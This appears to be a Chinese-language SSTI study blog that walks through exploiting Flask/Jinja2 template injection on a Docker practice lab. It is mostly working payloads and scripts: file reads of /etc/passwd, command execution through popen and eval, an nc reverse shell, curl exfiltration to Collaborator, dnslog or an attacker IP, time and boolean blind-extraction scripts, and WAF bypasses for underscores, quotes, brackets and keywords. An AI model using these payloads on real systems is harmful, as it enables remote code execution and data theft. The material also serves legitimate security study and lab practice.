SSTI学习

2025-2-22 317 2/22

SSTI用到的魔术方法及函数

__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有之类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量
__builtins__#提供对python的所有"内置"标识符的直接访问
eval()#计算字符串表达式的值
__import__#加载模块
popen()#执行一个shell以运行命令来开启一个进程,执行代码没有回显
self#放则flask框架的函数
__dict__#是 Python 中对象的属性字典,包含了对象的所有属性和方法
_TemplateReference__context#上下文是模板引擎中传递数据的容器,包含了模板中可以访问的所有变量
keys()#这是 Python 字典的方法,用于返回字典中所有的键(keys)
__getattribute__()#存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性
__str__()#返回描述该对象的字符串,通常用于打印输出
__getitem__()#绕过[]过滤

常用payload

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)

#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}

#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}

#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}

#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}

#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}

#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

参考地址:https://blog.csdn.net/qq_75120258/article/details/141788397

SSTI漏洞学习

ssti靶场

github.com/X3NNY/sstilabs
github.com/DiogoMRSilva/websitesVulnerableToSSTI

一、环境搭建

以下操作需要root权限

docke国内源
echo '{"registry-mirrors": ["https://docker.1ms.run"]}' | sudo tee /etc/docker/daemon.json > /dev/null
systemctl daemon-reload
systemctl restart docker
拉取docker镜像
docker pull mcc0624/flask_ssti:last

二、生成容器

以下操作需要root权限

开启容器
docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
exit
查看容器
docker ps -a
关闭容器
docker stop <容器id>
开启容器
docker start <容器id>

三、管理网站

靶场页面
http://IP:18080

SSH
用户名root 密码P@ssw0rd

Python venv

#python --version
#apt update
#apt install python3.10-venv

创建虚拟环境
python3 -m venv <文件名>

Flask基本框架

from flask import Flask
app = Flask(__name__)#初始化,__name__系统变量代表当前文件名

@app.route('/')#路由,即http://url/
def hello():
    return "hello benben"

if __name__=='__main__':
    app.run()#启动程序 
    #app.run(host="0.0.0.0")指定监听ip地址
    #run的debug属性为True时,程序错误会返回对应的错误
    #port指定端口

Flask变量及方法

通过向规则参数添加变量部分,可以动态构建URL

传递字符串

from flask import Flask
app = Flask(__name__)

@app.route('/<name>')#<name>表示定义变量
def hello(name):
    return "hello %s" % name

if __name__ == '__main__':
    app.run(host="0.0.0.0")

传递整形

from flask import Flask
app = Flask(__name__)

@app.route('/<int:num>')#:前面是变量类型,后面是变量名
def hello(name):
    return "hello %d" % num

if __name__ == '__main__':
    app.run(host="0.0.0.0")

Flask HTTP方法

方法 描述
GET 以未加密的形式将数据发送到服务器。最常见的方法
HEAD 和GET方法相同,但没有响应体。
POST 用于将HTML表单数据发送到服务器。POST接收的数据不由服务器缓存
PUT 用上传的内容替换目标资源的所有当前表示
DELETE 删除由URL给出的目标资源的所有当前表示

python脚本内容如下

from flask import Flask,redirect,url_for,request,render_template
app = Flask(__name__)
@app.route("/")
def index():
    return render_template("index.html")
    #默认回到python脚本同级目录下的templates目录寻找文件
@app.route('/success/<name>')
def success(name):
    return 'welcome %s'% name
if __name__ == '__main__':
    app.run()

在Python脚本中插入路由:

@app.route('/login',methods=['POST','GET'])
def login():
    if request.method == 'POST':
        print(1)
        user = request.form['id']
        return redirect(url_for('success', name=user))
    else:
        print(2)
        user = request.args.get('id')
        return redirect(url_for('success', name=user))

Flask模版

视图函数:主要作用生成请求的响应

把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本。

使用模版:使用静态的页面html展示动态的内容。

模版是一个响应文本的文件,其中占用符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。

使用真实值替换变量,再返回最终得到的字符串,这个过程称为"渲染"。

Flask使用Jinja2这个模版引擎来渲染模版。

render_template渲染

render_template用于文件渲染

python代码

from flask import Flask,render_template,request
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    my_str = 'Hello benben'
    my_int = request.args.get('ben')
    my_array = [5,2,0,1,3,1,4]
    my_dice = {
        'name':'dazhuang',
        'age':18
    }
    return render_template('index.htmll',
                          my_str=my_str,
                          my_int=my_int,
                          my_array=my_array,
                          my_dict=my_dict)
if __name__=='__main__':
    app.run()

index.html

python找html文件回到templates目录下去找

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
{{my_int}}<br>
{{my_str}}<br>
{{my_array}}<br>
{{my_dict}}
</body>
</html>

render_template_string渲染

render_template_string用于渲染字符串

python代码

from flask import *
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    my_str = request.args.get('name')
    return render_template_string('<h1>你的名字是</h1><p>%s</p>' % my_str)

if __name__=='__main__':
    app.run()

模版注入漏洞介绍

Flask漏洞

flask代码不严谨会造成任意文件读取和RCE远程控制后台系统

漏洞成因:

​ 渲染模版时,没有严格控制对用户的输入;

​ 使用了危险的模版,导致用户可以和flask程序进行交互。

flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等之类的函数。

漏洞演示

正常代码

from flask import *
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str = request.args.get('str')
    html_str = '''
    <html>
    <head></head>
    <body>{{str}}</body>
    </html>
    '''
    return render_template_string(html_str,str=str)

if __name__=='__main__':
    app.run()

上面代码接收一个str参数,将其渲染到html_str中,因为{{}}预先渲染了字符串,用户在输入{{}}则不会造成ssti

漏洞代码

from flask import *
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str = request.args.get('str')
    html_str = '''
    <html>
    <head></head>
    <body>{0}</body>
    </html>
    '''.format(str)
    return render_template_string(html_str)

if __name__=='__main__':
    app.run()

上面代码因为传入参数没有{{}}包起来,用户如传入{{}}则会被flask的模版引擎解析为模版代码

SSTI服务端模版注入

服务端模版注入(Server-Side Template Injection),实际上也是一种注入漏洞。

没有执行,判断向下的线;执行,判断向上的线

SSTI学习

继承关系

​ 父类和子类

​ 子类调用父类的其他子类

​ Python flask脚本没有办法直接执行python指令

​ 漏洞利用原理,通过调用一些有命令执行功能的类,来执行系统命令

​ 所有类的最终父类都是object

代码演示

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C()

print(c.__class__)
print(c.__class__.__base__)
print(c.__class__.__mro__)
print(c.__class__.__mro__[1].__subclasses__())

//执行结果:
'''
<class '__main__.C'>
<class '__main__.B'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
'''
//__class__作用返回当前类
//__base__返回当前类的父类
//__mro__显示当前类的所有基类
//因为__mro__返回的是括号包起来的类,所以__mro__返回的结果是用一个元组存储的,所以可以使用下标来灵活调用指定类
//__subclass__返回当前类下的所有子类,它返回的是一个对象,在其后加上()即可用列表输出类名

检查漏洞

常用注入模块

os._AddedDIIDirectory
os._wrap_close
_frozen_importlib._DummyModuleLock
_frozen_importlib._ModuleLockManager
_frozen_importlib.ModuleSpec
_frozen_importlib_external.FileLoader
_frozen_importlib_external._NamespacePath
_frozen_importlib_external._NamespaceLoader
_frozen_importlib_external.FileFinder
zipimport.zipimporter
zipimport._ZipImportResourceReader
_sitebuiltins.Quitter
_sitebuiltins._printer
warnings.WarningMessage
warnings.catch_warnings
weakref.finalize
pickle._Framer
pickle._Unframer
pickle._Pickler
pickle._Unpickler
jinja2.bccache.Bucket
jinja2.runtime.TemplateReference
jinja2.runtime.Context
jinja2.runtime.BlockReference
jinja2.runtime.LoopContext
jinja2.runtime.Macro
jinja2.runtime.Undefined
jinja2.environment.Environment
jinja2.environment.TemplateExpression
jinja2.environment.TemplateStream
dis.Bytecode

常用注入模块

1.文件读取
2.内建函数eval执行命令
3.os模块执行命令
4.importlib类执行命令
5.linecache函数执行命令
6.subprocess.Popen类执行命令

注入演示用到前面docker搭建容器,http://url:port/flasklab/level/1

文件读取

查找子类_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

payload:

code={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

效果如下

SSTI学习

payload解释

{{}}的中间表示模版需要渲染的部分
()表示元组元组的父类就是object
""、''、[]、{}等类型的父类都是object
__class__返回当前类名
__base__当前类的父类名
__subclasses__()返回类中所有的
__subclasses__()[79]是获取文件读取模块_frozen_importlib_external.FileLoader,每个环境_frozen_importlib_external.FileLoader所在位置会有所不同,不一定都在79
调用文件读取模块下的get_data方法来执行文件读取

内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数

python脚本查看可利用内建函数eval的模块

import requests
url = input('请输入url链接:')
for i in range(500):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)
                break
    except:
        pass

payload:

{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

效果如下

SSTI学习

payload解释

().__class__.__base__.__subclasses__()[64]获取模块
__init__初始化模块
__globals__显示当前所有全局变量
__builtins__显示当前模块所有内置函数
eval参数当做python代码执行,__import__("os")导入os库
popen用于执行系统命令,执行结果以内存地址显示,read()读取内存地址内容

os模块执行命令

在其他函数中直接调用os模块

显示flask的函数

{{self.__dict__._TemplateReference__context.keys()}}

'''
self存放则flask框架的函数
__dict__ 是 Python 中对象的属性字典,包含了对象的所有属性和方法
_TemplateReference__context上下文是模板引擎中传递数据的容器,包含了模板中可以访问的所有变量
keys()这是 Python 字典的方法,用于返回字典中所有的键(keys)
'''

模版渲染结果如下

dict_keys(['range', 'dict', 'lipsum', 'cycler', 'joiner', 'namespace', 'url_for', 'get_flashed_messages', 'config', 'request', 'session', 'g'])

通过config,调用os

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for

{{url_for.__globals__.os.popen('whoami').read()}}

通过lipsum,调用os

{{lipsum.__globals__.os.popen("whoami").read()}}

通过g,调用os

{{g.pop.__globals__.__builtins__['__import__']('os').popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块

需用到subprocess.CompletedProcess类,即subclasses()[下标]找到subprocess.CompletedProcess

{{''.__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("whoami").read()}}

importlib类

需用到_frozen_importlib.BuiltinImporter类下的load_module方法来导入os模块

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}

linecache函数

需用到traceback.FrameSummary类下的属性linecache来导入os模块

{{().__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("whoami").read()}}

subprocess.Popen类

{{().__class__.__base__.__subclasses__()[200]("whoami",shell=True,stdout=-1).communicate()[0].strip()}}

SSTI模版注入双大括号绕过

{%%}使用介绍

{%%}是属于flask的控制语句,且以{% end ... %}结尾,可以通过在控制语句定义变量或者写循环,判断

演示代码

python代码

from flask import *
app = Flask(__name__)

@app.route('/')
def index():
    girls = ['a','b','c','d']
    return render_template('index.html',girls=girls)

if __name__=='__main__':
    app.run()

index.html

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<ul>
    {% for girl in girls %}
    <li>{{ girl }}</li>
    {% endfor %}
</ul>
</body>
</html>

其他控制语句

if判断

{% if 条件 %}
{{输出}}
{% else %}
{{输出}}
{% endif %}

定义变量

{% name='变量值' %}
{{ name }}

通过{%%}绕过{{}}过滤

方法一:

{% print(1) %}
//上面条件语句是可以通过print打印结果的
//所以直接{% print(构造语句) %}即可

演示地址http://url:port/flasklab/level/2

payload:

POST
code={% print(url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read()) %}

回显,发现成功返回用户名,模版注入成功

Hello root

方法二:

和上面构造思路一致,区别就是通过if判断来爆破os._wrap_close的位置

payload:

{% if ().__class__.__base__.__subclasses__()[未知].__globals__['popen']('whoami').read() %}name{% endif %}

通过if判断,如果构造语句执行成功则页面会显示name,执行失败显示不显示name,原理通过指定__subclasses__()下标,直到找到os._wrap_close让语句成功执行为止,在用print输出执行成功的语句

python脚本:

import requests

url = input('请输入url地址')

for i in range(500):
    data={
        "code":"{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('whoami').read() %}name{% endif %}"
    }
    r = requests.post(url,data=data)
    if "name" in r.text:
        print(data["code"])
        break
    else:
        continue
//输出{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read() %}name{% endif %}
//实际上传入code {% print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('whoami').read()) %}即可,这里只是演示一下if判断

打印命令执行结果

payload:

POST
{% print(().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read()) %}

SSTI盲注

思路

反弹shell

通过rce反弹一个shell出来绕过无回显的页面

反弹shell生成网站:https://forum.ywhack.com/shell.php

带外注入

通过requestbin、dnslog、burpsuite的Collaborator功能等将信息传到外界

纯盲注

通过if判断

漏洞利用

反弹shell

漏洞地址http://ip:port/flasklab/level/3

payload:

web页面
POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('nc 渗透机地址 监听的端口 -e /bin/bash').read()}}
渗透机
nc -lvvp 端口

效果如下:

SSTI学习

带外注入

burpsuite外带

使用burpsuite进行命令执行外带

payload:

POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('curl -X POST -d "$(ls)" <burpsuite插入的Collaborator地址>').read()}}
curl
-X指定请求类型
$(ls)把ls的执行结果通过POST传递
如果是`ls`只会传递命令执行结果的第一行
如果非要用`ls`,可以执行ls|tr '\n' ','(tr把\n替换为逗号,让结果一行显示)

结果如下:

SSTI学习

通过自建机器外带

payload:

web页面
POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('curl 192.168.38.130/`ls|tr "\n" ","`').read()}}
渗透机
python3 -m http.server 80

方法不唯一,比如curl可以改成wget等,这里同样可以用上面burpsuite用到的$(ls),应该这里是get请求也只回显第一行

结果如下:

SSTI学习

通过dnslog外带

dnslog地址:dnslog.cn

dnslog只支持dns解析,不支持get和post请求,上面2种方法不支持dns解析

payload如下:

POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('curl `ls|tr "\n" ","`.<dnslog申请到的>').read()}}

结果如下:

SSTI学习

https://webhook.site/这个网站支持dns外带和http外带

纯盲注

时间盲注

漏洞地址http://ip:port/flasklab/level/3

原理通过延迟来判断是否存在某个字符或字符串

payload:
POST
code={% if g.pop.__globals__.__builtins__['__import__']('os').popen('whoami|tr \'\n\' \',\'').read()[0:1] == '0' %}{% print(g.pop.__globals__.__builtins__['__import__']('time').sleep(0.5)) %}{% endif %}
//whoami|tr '\n' ','是将换行替换为空格,目的是将所有信息一行显示,因为popen用的是当引号包含的命令,所以里面的单引号需要转译,当然用双引号也行
//[0:1] == '0'判断第一个字符是否为0,不是则执行else语句,这里没有则退出;判断成立则延迟0.5秒响应,类似于sql盲注
python脚本
import requests
import time
import sys
import string

url = input('请输入url')

text=""
str_text = string.ascii_letters+string.digits+string.punctuation+string.whitespace+'\0'
#string.ascii_letters获取大小写字符
#string.digits获取数字
#string.punctuation获取符号
#string.whitespace获取不可见字符,但不包括\0
length = 1

while length:
    for i in str_text:
        data={
            "code":"{% if g.pop.__globals__.__builtins__['__import__']('os').popen('whoami|tr \\'\n\\' \\',\\'').read()[0:"+str(length)+"] == "+f"'{text}{i}'"+" %}{% print(g.pop.__globals__.__builtins__['__import__']('time').sleep(0.5)) %}{% endif %}"
        }
        start = time.time()#获取当前时间
        r = requests.post(url,data=data).text
        end = time.time()#获取请求结束后的时间
        sub = end - start#计算响应时间

        if sub >=0.5:
            text+=i
            print(text)
            break
        else:
            if i == '\0':
                sys.exit(0)
            continue
    length+=1

布尔盲注

漏洞地址http://ip:port/flasklab/level/3

原理通过页面变化,判断语法成立和不成立页面的变化,通过测试,语法错误返回wrong,正确返回correct

效果如下

语法正确

SSTI学习

语法错误

SSTI学习

payload:
POST
code={% if g.pop.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()[0:1] == 'r' %}{% print(1) %}{% else %}{% print(exit(0)) %}{% endif %}

模版引擎是不能直接使用exit(0)的,if语句不成立则会导致语法错误,if语句成立则正常退出

python脚本
import requests
import sys
import string

url = input('请输入url')

text=""
str_text = string.ascii_letters+string.digits+string.punctuation+string.whitespace+'\0'
length = 1

while length:
    for i in str_text:
        data={
            "code":"{% if g.pop.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()[0:"+str(length)+"] == "+f"'{text}{i}'"+" %}{% print(1) %}{% else %}{% print(exit(0)) %}{% endif %}"
        }
        r = requests.post(url,data=data).text
        if 'correct' in r:
            text+=i
            print(text)
            break
        else:
            if i == '\0':
                sys.exit(0)
            continue
    length+=1

效果如下

SSTI学习

SSTI模版注入中括号绕过

__getitem__()魔术方法

getitem()是python的一个魔法方法,

对字典使用时,传入字符串,返回字典相应键所对应的值;

当对列表使用时,传入整数返回列表对应索引的值。

WAF过滤[]例题

漏洞地址:http://ip:port/flasklab/level/4

  • {{}}先检测双大括号是否过滤
  • {''}{""}等等检测是否有过滤符号
  • {''.__class__}检测是否有下划线过滤或者特殊字符
  • {''.__class__.__base__.__subclasses__()[]}到此步骤后发现waf字样

payload:

POST
code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

效果如下:

SSTI学习

SSTI绕过单双引号

漏洞地址:http://ip:port/flasklab/level/5

request

  • request在flask中可以访问基于HTTP请求传递的所有信息
  • 此request并非python的函数,而是在flask内部的函数
request.args.key 获取get传入的key的值
request.values.x1 获取所有参数
request.cookies 获取cookies传入的参数
request.headers 获取请求头请求参数
request.form.key 获取post传入参数
    (Conten-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data 获取post传入参数(Content-Type:a/b)
request.json 获取post传入json参数(Content-Type:application/json)

request.args.key

pyload:

POST /flasklab/level/5?import=__import__&&os=os&&shell=ls
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded

code={{g.pop.__globals__.__builtins__[request.args.import](request.args.os).popen(request.args.shell).read()}}

request.args.import获取get的import参数,后面同理

request.values.x1

payload:

POST /flasklab/level/5?import=__import__&&os=os&&shell=ls
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded

code={{g.pop.__globals__.__builtins__[request.values.import](request.values.os).popen(request.values.shell).read()}}

request.values.import获取get或post的import参数,如果get和post都有且参数名相同优先取get的值

request.cookies

payload:

POST /flasklab/level/5
host: ip:port
Cookie: import=__import__; os=os; shell=ls
Conten-Type:applicaation/x-www-form-urlencoded

code={{g.pop.__globals__.__builtins__[request.cookies.import](request.cookies.os).popen(request.cookies.shell).read()}}

request.headers

payload:

POST /flasklab/level/5?import=__import__&os=os
host: ip:port
Cookie: ls
Conten-Type:applicaation/x-www-form-urlencoded

code={{g.pop.__globals__.__builtins__[request.args.import](request.args.os).popen(request.headers.cookie).read()}}

request.form.key

payload:

POST /flasklab/level/5
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded

code={{g.pop.__globals__.__builtins__[request.form.import](request.form.os).popen(request.form.shell).read()}}&import=__import__&os=os&shell=ls

request.data

request.json

SSTI绕过下划线

过滤器

1.过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。

flak常用过滤器

length()#获取一个序列或者字典的长度并将其返回
int()#将值转换为int类型
float()#将值转换为float类型
lower()#将字符串转换为小写
upper()#将字符串转换为大写
reverse()#反转字符串
replace(value,old,new)#将value中的old替换为new
list()#将变量转换为列表类型
string()#将变量转换成字符串类型
join()#将一个序列中的参数值拼接成字符串,通常python内置的dict()配合使用
attr()#获取对象的属性

演示

templates/index.html

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<ul>
    <p>{{ girls|length }}</p>
    {{ girls.append('e') }}
    <p>{{ girls|length }}</p>
    <p>{{ girls|upper }}</p>
    <p>{{ 'A'|lower }}</p>
</ul>
</body>
</html>

python代码

from flask import *
app = Flask(__name__)

@app.route('/')
def index():
    girls = ['a','b','c','d']
    return render_template('index.html',girls=girls)

if __name__=='__main__':
    app.run()

方法一:使用request绕过下划线

payload:

POST /flasklab/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded

code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)('popen')('ls')|attr('read')()}}

方法二:使用Unicode编码绕过下划线

payload:

POST /flasklab/level/6
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded

code={{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(117)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('popen')('ls')|attr('read')()}}

其他方法

格式化字符串绕过

|attr('%c%cclass%c%c'%(95,95,95,95))等同于__class__

用ascii十六进制和八进制也可以绕过

hackber自带这几种编码,如下:

SSTI学习

SSTI中括号绕过点绕过

漏洞地址:http://ip:port/flasklab/level/7

直接把.__class__这样的替换为['__class__']即可

[]中是允许拼接的,例如['__cla'+'ss__']等同于['__class__']

payload:

code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls')['read']()}}

SSTI绕过关键字

关键字过滤

例如过滤了class、arg、form、value、int、global等关键字

__class__为例

1、字符编码(在ssti绕过下划线提到)

2、拼接字符串:'__cla'+'ss__'

3、使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b="ss__"%}{{a~b}}

4、使用过滤器(reverse反转、replace替换、join拼接等):

{%set a="__ssalc__"|reverse%}{{a}}

{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}

{%set a=['__cla','ss__']|join%}{{()[a]}}

5、利用python的chr()函数:{% set chr=url_for.__globals__['__builtins__'].chr %}{{""[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}

SSTI数字绕过

通过过滤器length来生成数字

index.html

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<ul>
    {%set a="aaaaaaa"|length%}{{ a }}
</ul>
</body>
</html>

python代码

from flask import *

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def index():
    return render_template('index.html')

if __name__=='__main__':
    app.run()

最后输出结果7,即a=7

length过滤器绕过数字

漏洞地址:http://ip:port/flasklab/level/9

payload:

POST
code={%set a='aaaaaaaaaa'|length*'aaa'|length*'aaaa'|length-'aaa'|length%}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls').read()}}

原理10个a计算长度为10,aaa*10=30个a,将需要的数字赋值给一个变量,用变量代替后面中括号中的数字即可

SSTI绕过config过滤

前置知识

flask内置函数和对象

flask内置函数

lipsum 可加载第三方库
url_for 可返回url路径
get_flashed_message 可获取消息

flask内置对象

cycler
joiner
namespace
config
request
session

可利用已加载内置函数或对象寻找被过滤字符串

可利用内置函数调用current_app模块进而查看配置文件

current_app

调用current_app相当于调用flask

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

SSTI混合过滤绕过

前置知识

dict(): #用来创建一个字典

join: #将一个序列中的参数值拼接成字符串

join过滤器会提取字典的键名并组成字符串

index.html

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
数据:{%set a=dict(ccc=1)%}{{ a }}<!-- 输出{"ccc":1} -->
<br />
数据:{%set a=dict(cla=1,ss=2)|join%}{{ a }}<!-- 输出class -->
</body>
</html>

python代码

from flask import *

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def index():
    return render_template('index.html')

if __name__=='__main__':
    app.run()

获取符号

利用flask内置函数和对象获取符号

通过以下语句获取字符串,用[]指定下标获取对应字符

{% set a = ({}|select()|string()) %}{{a}}
#获取下划线
{% set a = (self|string()) %}{{a}}
#获取空格
{% set a = (self|string|urlencode) %}{{a}}
#获取百分号
{% set a = (app.__doc__|string) %}{{a}}

过滤'、"、+、request、.、[、]绕过

漏洞地址:http://ip:port/flasklab/level/11

payload:

POST
code={%set a=dict(__class__=a)|join%}{%set b=dict(__base__=a)|join%}{%set c=dict(__subclasses__=a)|join%}{%set d=dict(__getitem__=a)|join%}{%set e=dict(__init__=a)|join%}{%set f=dict(__globals__=a)|join%}{%set g=dict(popen=a)|join%}{%set h=(()|select()|string()|attr(d)(10))%}{%set cmd=(dict(cat=a)|join,h,dict(flag=a)|join)|join%}{%set i=dict(read=a)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(cmd)|attr(i)()}}

